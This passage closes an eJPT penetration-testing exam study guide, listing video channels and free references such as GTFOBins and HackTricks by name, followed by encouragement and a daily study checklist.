NetworkChuck	Linux fundamentals, networking concepts, beginner-friendly explainers
HackerSploit	Nmap, enumeration, general pentesting walkthroughs
The Cyber Mentor (TCM Security)	Metasploit, practical ethical hacking methodology
John Hammond IppSec	Pivoting, CTF walkthroughs, tool breakdowns Deep-dive HackTheBox/TryHackMe walkthroughs — best used <i>after</i> attempting the box yourself
freeCodeCamp	Long-form full courses (Linux, networking basics)

Free written references:

- **GTFOBins** — SUID/sudo privilege escalation lookups
 - **HackTricks** — broad pentesting methodology reference
 - **revshells.com** — reverse shell generator
-

A Word of Encouragement

Anyone who clears this exam quickly has usually put in real practice before exam day, even when it's not obvious from the outside. Time already spent on TryHackMe rooms and CTFs carries over directly — eJPT is an entry-level exam, and INE built it to be passable with solid fundamentals and a methodical approach, not to be a trap.

Walk in with your notes, your cheat sheet, and the question-mapping method above, and work it the same way every lab before this one has already been worked.

You will get stuck. You will feel like you don't know enough. That's normal. The people who pass aren't the ones who never get stuck — they're the ones who keep going, re-read the questions, and trust their notes.

Daily Study Checklist

- ☐ 3-4 hours of dedicated study time
- ☐ 1-2 videos watched
- ☐ 1-2 labs completed (TryHackMe / HackTheBox)
- ☐ Notes written up (Notion / OneNote / plain text - doesn't matter which)
- ☐ New commands practiced
- ☐ Previous material revised
- ☐ Attempted it solo before watching any walkthrough

Work through this guide, trust the process, and use the question-mapping method from Part 11 on exam day — that combination is what actually gets people through eJPT. Good luck.